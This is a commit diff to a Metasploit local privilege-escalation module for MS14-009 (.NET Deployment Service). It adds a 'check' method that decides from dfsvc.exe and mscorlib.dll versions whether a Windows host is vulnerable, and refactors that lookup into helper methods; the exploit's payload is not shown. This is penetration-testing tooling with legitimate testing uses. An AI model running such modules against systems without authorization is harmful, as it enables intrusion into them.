Add check method

modules/exploits/windows/local/ms14_009_ie_dfsvc.rb

@@ -69,6 +69,50 @@ class Metasploit3 < Msf::Exploit::Local
       ])
   end
 
+  def check
+    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
+      return Exploit::CheckCode::Unknown
+    end
+
+    net_version = get_net_version
+
+    if net_version.empty?
+      return Exploit::CheckCode::Unknown
+    end
+
+    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
+      return Exploit::CheckCode::Detected
+    end
+
+    mscorlib_version = get_mscorlib_version
+
+    unless mscorlib_version < NET_VERSIONS[net_version]["mscorlib"]
+      return Exploit::CheckCode::Safe
+    end
+
+    Exploit::CheckCode::Vulnerable
+  end
+
+  def get_net_version
+    net_version = ""
+
+    dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
+    dfsvc_version = dfsvc_version.join(".")
+
+    NET_VERSIONS.each do |k,v|
+      if v["dfsvc"] == dfsvc_version
+        net_version = k
+      end
+    end
+
+    net_version
+  end
+
+  def get_mscorlib_version
+    mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
+    mscorlib_version.join(".")
+  end
+
   def exploit
     print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
 
@@ -87,16 +131,7 @@ class Metasploit3 < Msf::Exploit::Local
       fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found")
     end
 
-    dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
-    dfsvc_version = dfsvc_version.join(".")
-
-    net_version = ""
-
-    NET_VERSIONS.each do |k,v|
-      if v["dfsvc"] == dfsvc_version
-        net_version = k
-      end
-    end
+    net_version = get_net_version
 
     if net_version.empty?
       fail_with(Failure::NotVulnerable, "This module only targets .NET Deployment Service from .NET 4.5 and .NET 4.5.1")
@@ -110,8 +145,7 @@ class Metasploit3 < Msf::Exploit::Local
       fail_with(Failure::NotVulnerable, ".NET Installation can not be verified (mscorlib.dll not found)")
     end
 
-    mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
-    mscorlib_version = mscorlib_version.join(".")
+    mscorlib_version = get_mscorlib_version
 
     unless mscorlib_version < NET_VERSIONS[net_version]["mscorlib"]
       fail_with(Failure::NotVulnerable, ".NET Installation not vulnerable")